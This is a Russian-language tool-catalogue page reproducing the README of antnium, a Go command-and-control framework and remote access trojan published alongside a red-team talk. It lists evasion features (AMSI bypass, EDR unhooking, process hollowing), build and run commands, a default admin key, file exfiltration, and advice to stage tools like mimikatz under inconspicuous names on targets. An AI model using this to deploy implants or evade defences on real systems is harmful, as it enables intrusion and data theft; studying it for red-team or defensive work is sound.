Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
antnium — C2-фреймворк для первичного доступа на Go | Kitploit
Инструменты/GitHubGitHub/dobin/antnium
Эксфильтрация данныхПост-эксплуатацияКомандование и УправлениеRed TeamingРазработка Полезной НагрузкиТроян Удаленного ДоступаArchived
GitHubdobin/antnium

antnium

C2-фреймворк для первичного доступа на Go

Репозиторий
2003764 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Antnium

root@kitploit:~
Anti Tanium

C2-фреймворк и RAT, написанные на Go.

This source code is publicly published as reference for my presentation Разработайте свой собственный RAT — защита от AV и EDR. Antnium предназначен для удовлетворения моих собственных требований, а не требований других. Работает для кампаний, которые я проводил, но не обязательно должен быть универсальным C2-фреймворком.

Есть два компонента:

  • client.exe: собственно RAT / beacon / agent / implant
  • server.exe: C2-сервер

Возможности

  • Канал связи HTTP/S и Websocket
  • Поддержка прокси (ручной, windows, аутентифицированный и kerberos)
  • Выполнение команд
    • Прямые LOLbins
      • Сначала копировать файл
      • Process hollowing
    • Интерактивная оболочка cmd.exe/Powershell
    • Удалённый управляемый и неуправляемый код
      • С использованием donut
      • Из PE в shellcode
      • Зашифрованный
      • Обход AMSI
  • Обход EDR с помощью Reflexxion (восстановление ntdll.dll)
  • Зашифрованная связь
  • Malleable C2
  • Загрузка / скачивание файлов
  • Файловый браузер

Краткое руководство по использованию

Скачайте и установите go (и git).

Здесь мы используем 127.0.0.1:8080 в качестве домена C2 (localhost, так как мы запускаем и client.exe, и server.exe на одном хосте). Это также значение по умолчанию, менять ничего не нужно.

Проверьте кампанию в campaign/campaign.go:

  • serverUrl = "http://127.0.0.1:8080"

Соберите его в Windows:

root@kitploit:~
> .\makewin.bat deploy

Соберите его в Linux:

root@kitploit:~
$ make deploy

Запустите сервер и клиент:

root@kitploit:~
cd build\
.\server.exe
.\static\client.exe

Получите доступ к WebUI, открыв следующий URL в браузере после запуска server.exe:

root@kitploit:~
http://localhost:8080/webui/

Каталоги

static/: Общедоступный каталог для инструментов

Помещайте туда файлы, которые хотите скачивать на другие машины. Например, client.exe, wingman.exe. И свои инструменты, например mimikatz.exe или seatbelt.exe. Но используйте более незаметные имена файлов.

Файлы также доступны через API /secure: запрос выполняется с зашифрованными именами файлов, а в ответ возвращается зашифрованный и base64-закодированный файл.

Файлы dotNet можно выполнить, используя опцию выполнения remote (доступна через /secure).

upload/: Приватный каталог для эксфильтрации данных

Загруженные с клиента файлы будут сохраняться здесь.

Подробные инструкции по сборке

Установка Go:

  • Windows: https://golang.org/doc/install
  • Linux: apt install golang gcc-mingw-w64

Скомпилируйте client.exe и server.exe:

root@kitploit:~
> .\makewin.bat deploy

Это создаст:

  • /build/server.exe
  • /build/server.elf
  • /build/static/client.exe
  • /build/static/client.elf
  • /build/static/wingman.exe
  • /build/upload/
  • /build/webui/

Запустите server.exe:

root@kitploit:~
> cd build
> .\server.exe

Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json 
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080  

Запустите client.exe:

root@kitploit:~
> .\build\static\client.exe

Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...

Примечания по кросс-компиляции

Компиляция Windows-клиента из Linux работает, но требует некоторого ручного владения командной строкой GO gcc из-за некоторых зависимостей Windows. Если сразу не работает, скомпилируйте Windows-клиент в самой Windows (makewin.bat client).

Примечания по конфигурации кампании

pkg/campaign/campaign.go связывает скомпилированный client.exe с конкретным server.exe, что образует кампанию. Кампания имеет индивидуальные ключи шифрования и аутентификации, которые являются общими для сервера и клиента.

root@kitploit:~
type Campaign struct {
	ApiKey      string  // Key used to access client facing REST
	EncKey      []byte  // Key used to encrypt packets between server/client

	ServerUrl   string  // URL of the server, as viewed from the clients
}

А также ключ административного интерфейса / оператора в pkt/server/config.go:

root@kitploit:~
type Config struct {
	AdminApiKey string
}

Обратите внимание, что ServerUrl — это URL, используемый клиентом для всего взаимодействия с сервером. Это публичный URL сервера, например http://totallynotmalware.ch. Фактический server.exe может находиться за обратным прокси и запускаться с server.exe --listenaddr 127.0.0.1:8080 (поэтому ServerUrl не обязательно равен listenaddr).

Примечания по доступу к серверу

При первом подключении к серверу сначала нужно открыть и настроить UI.

Файлы Angular UI общедоступны. Предположим, ServerUrl="http://localhost:8080" и listenaddr=0.0.0.0:8080. Вы можете либо:

  • использовать встроенный antniumui, доступный как http://localhost:8080/webui в вашем браузере
  • либо ng serve из каталога antniumui, а затем открыть http://localhost:4200 в браузере

При подключении к UI в браузере сначала нужно настроить IP сервера и его пароль:

  • AdminApiKey (по умолчанию: "Secret-AdminApi-Key", как в конфигурации по умолчанию)
  • ServerIP (по умолчанию: "http://localhost:8080")
  • User (необязательно, можно выбрать произвольно)

Клиент

Протестировано на:

  • Windows 10
  • Ubuntu 20.04 LTS

Скомпилируйте в Windows:

root@kitploit:~
> .\makewin.bat client

Разверните его на вашей цели.

Сервер

Протестировано на:

  • Работает: Ubuntu 20.04 LTS, Go 1.13.8
  • Работает: Windows 10, Go 1.16.6
  • Компиляция НЕ УДАЛАСЬ: Ubuntu 16.04 LTS, Go 1.6.2

В Linux:

root@kitploit:~
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080

Результат — server.exe. Убедитесь, что запускаете его в каталоге, где есть или ожидаются:

  • upload/
  • static/
  • db.*.json в качестве рабочего каталога.

Он запустит REST-сервер на этом порту, предоставляющий:

  • /: REST для клиентов
  • /ws: Websocket для клиентов
  • /admin: REST для административного интерфейса (добавление пакета, получение списка клиентов)
  • /adminws: Websocket для административного интерфейса (отправка пакетов)
  • /webui: HTML-файлы для административного интерфейса (исходный код Angular и html, обращается к REST и websocket)

Поместите перед ним обратный прокси (убедитесь, что он поддерживает websockets!) или пробросьте порты.

Параметры

Для ручного прокси используйте полный HTTP URL:

root@kitploit:~
client.exe -proxy http://proxy:8080

или через переменные окружения:

root@kitploit:~
export PROXY http://localhost:8080
./client

Wingman

Wingman — это, по сути, клиент, но без прямого подключения к C2. Он может подключиться к существующему клиенту на localhost:50000 (убедитесь, что он запущен, если Campaign.AutoStartDownstreams имеет значение false)

Подключается к порту localhost 50000:

root@kitploit:~
wingman.exe

Или используйте rundll32.exe для загрузки dll (64-битная версия rundll32 в system32, а не 32-битная версия в C:\Windows\SysWOW64\rundll32.exe):

root@kitploit:~
C:\Windows\System32\rundll32.exe .\wingman.dll,Start

Он появится как downstream net#0.

Тестирование

root@kitploit:~
go test ./...

Возможны гонки данных. Если тест упадёт один раз, просто выполните его снова.

Скачать инструмент